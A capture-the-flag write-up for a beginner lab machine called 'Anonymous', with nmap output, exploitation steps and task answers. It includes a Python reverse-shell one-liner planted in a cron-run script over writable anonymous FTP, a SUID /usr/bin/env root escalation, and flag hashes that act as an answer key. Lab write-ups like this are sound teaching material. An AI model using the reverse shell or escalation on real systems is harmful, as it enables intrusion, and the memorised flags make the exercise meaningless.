Anonymous

Anonymous
Not the hacking group

nmap-scan

```
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113         4096 Jun 04 19:26 scripts [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.2.27.69
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was
1
|      vsFTPd 3.0.3 - secure, fast,
stable
|_End of status

22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2.0)
| ssh-
hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68
(RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce
(ECDSA)
|_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 11s, deviation: 1s, median: 10s
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2020-08-10T10:38:49+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-08-10T10:38:49
|_  start_date: N/A
```

writeup

----------user-flag----------

--ran nmap -sC -sV <IP> and found open ports 21, 22, 139, and 445
--logged into SMB with smbclient -L \\\\<IP>\\ and found the share called pics
--noticed in my NMAP scan that FTP anonymous login was allowed, so I logged in with ftp <IP>
--found 3 files, one being clean.sh that seems to ran by a cronjob, so I ran get clean.sh
--inserted Python script python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

--ran chmod +x clean.sh
--ran put clean.sh in FTP shell and waited for cronjob to run and spawn me a user shell
--ran cat user.txt and got flag:
90d6f992585815ff991e68748c414740

----------root-flag----------

--tried sudo -l with no success
--tried find / -perm -u=s -type f 2>/dev/null successfully and found /usr/bin/env
--went to GTFObins and found /usr/bin/env /bin/sh -p, ran that command and got root shell
--ran cat /root/root.txt and got flag:
4d930091c31a622a7ed10f27999af363

[Task 1] Pwn

Try to get the two flags! Root the machine and prove your understanding of the fundamentals! This is a virtual machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.----------*For more information on Linux, check out* Learn Linux

#1
Enumerate the machine. How many ports are open?

4

#2
What service is running on port 21?

ftp

#3
What service is running on ports 139 and 445?

smb

#4
There's a share on the user's computer. What's it called?

pics

click me
user.txt

90d6f992585815ff991e68748c414740

click me
root.txt

4d930091c31a622a7ed10f27999af363